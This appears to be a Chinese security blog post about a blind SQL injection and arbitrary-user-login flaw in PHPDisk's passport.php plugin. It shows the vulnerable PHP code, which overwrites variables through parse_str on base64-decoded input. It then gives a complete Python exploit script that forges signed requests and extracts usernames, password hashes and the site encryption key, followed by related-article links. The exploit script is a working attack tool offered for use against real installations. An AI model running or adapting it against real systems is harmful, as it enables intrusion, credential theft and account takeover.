phpdisk 盲注 &前台任意用户登录
代码审核
文件 plugins\phpdisk_client\passport.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
$str = $_SERVER [ 'QUERY_STRING' ]; if ( $str ){ parse_str ( base64_decode ( $str )); // 触发函数 } else { exit ( 'Error Param' ); } /*$username = trim(gpc('username','G','')); $password = trim(gpc('password','G','')); $sign = trim(gpc('sign','G',''));*/ if ( $sign != strtoupper (md5( $action . $username . $password ))){ exit ( 'No data,Code:2!' ); } $username = is_utf8() ? convert_str( 'gbk' , 'utf-8' , $username ) : $username ; if ( $action == 'passportlogin' ){ $rs = $db ->fetch_one_array( "select userid,gid,username,password,email from {$tpf}users where username='$username' and password='$password' limit 1" ); //覆盖tpf |
phpdisk.py exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
|
#=============================================================================== # Id :phpdisk.y # Author:Yaseng #=============================================================================== import sys, urllib2, time, os , Queue, msvcrt, threading,re,base64,md5,hashlib,binascii,cookielib def cslogo(): print ''' ___ ___ ____ ____ ____ __ __ _ _ / __)/ _ \( _ \( ___)( _ \( ) /__\ ( \/ ) ( (__( (_) ))(_) ))__) )___/ )(__ /(__)\ \ / \___)\___/(____/(____)(__) (____)(__)(__)(__) Name:phpdisk bind sql injection exploit Author:Yaseng [yaseng@uauc.net] Usage:phpdisk.py site[www.yaseng.me] id[1] ''' # show message def msg(text, type = 0 ): if type = = 0 : str_def = "[*]" elif type = = 1 : str_def = "[+]" else : str_def = "[-]" ; print str_def + text; # get url data def get_data(url): try : r = urllib2.urlopen(url, timeout = 10 ) return r.read() except : return 0 def b(url): if get_data(url).find( "ssport Err" , 0 ) ! = - 1 : return 0 return 1 def make_plyload(payload): return target + "?" + base64.b64encode( "username=1&password=1&action=passportlogin&tpf=" + payload + "&sign=" + md5.new( "passportlogin" + "1" + "1" ).hexdigest().upper()) def get_username(): msg( "get username ..." ) global pass_list len = 0 for i in range ( 40 ) : if b(make_plyload( "pd_users WHERE 1 and (SELECT LENGTH(username) from pd_users where userid=%d )= %d #" % (uid,i))): len = i msg( "username length:%d" % len , 1 ) break global key_list key_list = [ '0' , '1' , '2' , '3' , '4' , '5' , '6' , '7' , '8' , '9' ] key_list + = map ( chr , range ( 97 , 123 )) username = "" for i in range ( len ) : for key in key_list : t = key if type (key) ! = int : t = "0x" + binascii.hexlify(key) if (b(make_plyload( " pd_users WHERE 1 and (SELECT substr(username,%d,1) from pd_users where userid=%d )=%s #" % (i + 1 ,uid,t)))) : msg( "username [%d]:%s" % (i + 1 ,key)) username + = key break msg( "username:" + username, 1 ) return username def get_password(): pass_list = [ '0' , '1' , '2' , '3' , '4' , '5' , '6' , '7' , '8' , '9' , 'a' , 'b' , 'c' , 'd' , 'e' , 'f' ] password = "" for i in range ( 32 ) : for key in pass_list : t = key if type (key) ! = int : t = "0x" + binascii.hexlify(key) if (b(make_plyload( " pd_users WHERE 1 and (SELECT substr(password,%d,1) from pd_users where userid=%d )= %s #" % (i + 1 ,uid,t)))) : msg( "password [%d]:%s" % (i + 1 ,key)) password + = key break msg( "username:" + password, 1 ) return password def get_encrypt_key(): msg( "get encrypt_key ..." ) global pass_list pass_list = map ( chr , range ( 97 , 123 )) len = 0 for i in range ( 40 ) : if b(make_plyload( "pd_users WHERE 1 and ( SELECT LENGTH(value) from pd_settings where vars=0x656e63727970745f6b6579 )=%d #23" % i)): len = i msg( "encrypt_key length:%d" % len , 1 ) break global key_list key_list = [ '0' , '1' , '2' , '3' , '4' , '5' , '6' , '7' , '8' , '9' ] key_list + = map ( chr , range ( 65 , 91 ) + range ( 97 , 123 )) encrypt_key = "" for i in range ( len ) : for key in key_list : t = key if type (key) ! = int : t = "0x" + binascii.hexlify(key) if (b(make_plyload( " pd_users WHERE 1 and ( SELECT binary(substr(value,%d,1)) from pd_settings where vars=0x656e63727970745f6b6579 ) = %s #" % (i + 1 ,t)))) : msg( "key [%d]:%s" % (i + 1 ,key)) encrypt_key + = key break msg( "encrypt_key:" + encrypt_key, 1 ) return encrypt_key if __name__ = = '__main__' : cslogo() if len (sys.argv) > 1 : site = sys.argv[ 1 ]; global target global uid try : uid = int (sys.argv[ 2 ]); except : uid = 1 target = site + "/plugins/phpdisk_client/passport.php" msg( "exploit:" + site) #print get_data(make_plyload(" pd_users WHERE 1 and ( SELECT substr(value,2,1) from pd_settings where vars=0x656e63727970745f6b6579 ) = 9 %23")) if get_data(target) : username = get_username() if len (username) > 0 : password = get_password() if len (password) = = 32 : msg( "Succeed: username:%s password:%s" % (username,password), 1 ) else : msg( "vulnerability not exits" , 2 ); exit(); |
phpdisk 盲注 &前台任意用户登录的更多相关文章
- 通达OA 前台任意用户登录漏洞复现
漏洞描述 通达OA是一套办公系统.通达OA官方于4月17日发布安全更新.经分析,在该次安全更新中修复了包括任意用户登录在内的高危漏洞.攻击者通过构造恶意请求,可以直接绕过登录验证逻辑,伪装为系统管理身 ...
- 【漏洞分析】dedecms有前提前台任意用户密码修改
0x00 前言 早上浏览sec-news,发现锦行信息安全发布了一篇文章<[漏洞分析] 织梦前台任意用户密码修改>,看完之后就想着自己复现一下. 该漏洞的精髓是php的弱类型比较,'0. ...
- 代码审计-DedeCMS-V5.7前台任意用户密码重置
0x01 漏洞影响 该漏洞允许攻击者修改任意前台用户密码. 0x02 漏洞利用条件 1,开启会员模块 2,攻击者拥有一个正常的会员账号 3,目标没有设置安全问题 0x03 漏洞分析 漏洞文件:/mem ...
- WEB安全系列之如何挖掘任意用户登录漏洞
WEB安全系列之如何挖掘任意用户登录漏洞 0x01 前言 每周两篇文章打卡.坏蛋100块钱都不给我,好坏好坏的. 0x02 什么是任意用户登录漏洞 几乎每个网站都有自己的会员系统 ...
- 通达OA任意用户登录 漏洞复现
0x00 漏洞简介 通达OA国内常用的办公系统,使用群体,大小公司都可以,其此次安全更新修复的高危漏洞为任意用户登录漏洞.攻击者在远程且未经授权的情况下,通过利用此漏洞,可以直接以任意用户身份登录到系 ...
- 通达OA任意用户登录漏洞复现
前言 今年hw挺火爆的,第一天上来就放王炸,直接搞得hw暂停 昨天晚上无聊,复现了一下通达oa的洞,也有现成的exp可以使用,比较简单 0x00 漏洞概述 通达OA是一套国内常用的办公系统,此次发现的 ...
- ApachShiro 一个系统 两套验证方法-(后台管理员登录、前台App用户登录)同一接口实现、源码分析
需求: 在公司新的系统里面博主我使用的是ApachShiro 作为安全框架.作为后端的鉴权以及登录.分配权限等操作 管理员的信息都是存储在管理员表 前台App 用户也需要校验用户名和密码进行登录.但是 ...
- YII用户注冊和用户登录(五)之进行session和cookie分析 ,并在前后区分session和cookie
5 进行session和cookie分析 ,并在前后区分session和cookie: 记住登录状态 这样下次再登录站点的时候.就不用反复输入username和password. 是浏览器的cooki ...
- YII用户注冊和用户登录(二)之登录和注冊在视图通过表单使用YII小物件并分析
2 登录和注冊在视图通过表单使用YII小物件并分析 <?php $form = $this -> beginWidget('CActiveForm', array( 'enableClie ...
随机推荐
- STM32(5)——通用定时器基本定时器
1.STM32的Timer简介 STM32中一共有11个定时器,其中2个高级控制定时器,4个普通定时器和2个基本定时器,以及2个看门狗定时器和1个系统嘀嗒定时器. 其中系统嘀嗒定时器是前文中所描述的S ...
- 在Linux Mint 19 / Linux Mint 18上安装VirtualBox 6.0 / 5.2
如果你直接可以 sudo apt-get install virtualbox-6.0那就相安无事 否则参考https://www.itzgeek.com/how-tos/linux/linux-mi ...
- python 验证码识别初探
使用 pytesser 与 pytesseract 识别验证码 前置 : 首先需要安装 tesserract tesserract windows 安装包及中文 https://pan.baidu ...
- typedef和define一些问题
1. 四个用途 用途一: 定义一种类型的别名,而不只是简单的宏替换.可以用作同时声明指针型的多个对象.比如: char* pa, pb; // 这多数不符合我们的意图,它只声明了一个指向字符变量的指针 ...
- 20155313 实验一《Java开发环境的熟悉》实验报告
一.实验内容 1.使用JDK编译.运行简单的Java程序 2.使用IDEA 编辑.编译.运行.调试Java程序. 二.练习 题目:实现学生信息管理. 具体代码: import java.util.*; ...
- nth-child()伪类选择器
描述: 伪类:nth-child()的参数是an+b,如果按照w3.org上的描述,写成中文,很可能会让人头晕,再加上笔者的文笔水平有限,所以我决定避开an+b的说法,把它拆分成5种写法共5部分来说明 ...
- 【转载】值得推荐的C/C++框架和库
原文:值得推荐的C/C++框架和库 值得学习的C语言开源项目 Libevent libev是一个开源的事件驱动库,基于epoll,kqueue等OS提供的基础设施.其以高效出名,它可以将IO事件,定时 ...
- 【转载】DXUT进阶
原文:DXUT进阶 概要 这个指南涵盖了更多DXUT的高级应用. 这个指南里的大部分功能是可选的, 为了以最小的代价来增强你的应用程序. DXUT提供了一个简单的基于GUI系统的精灵和一个设备设置对话 ...
- 【JUC源码解析】ConcurrentLinkedQueue
简介 ConcurrentLinkedQueue是一个基于链表结点的无界线程安全队列. 概述 队列顺序,为FIFO(first-in-first-out):队首元素,是当前排队时间最长的:队尾元素,当 ...
- 【转】查看mysql表结构和表创建语句的方法
转自:http://blog.csdn.net/business122/article/details/7531291 查看mysql表结构的方法有三种: 1.desc tablename; 例如: ...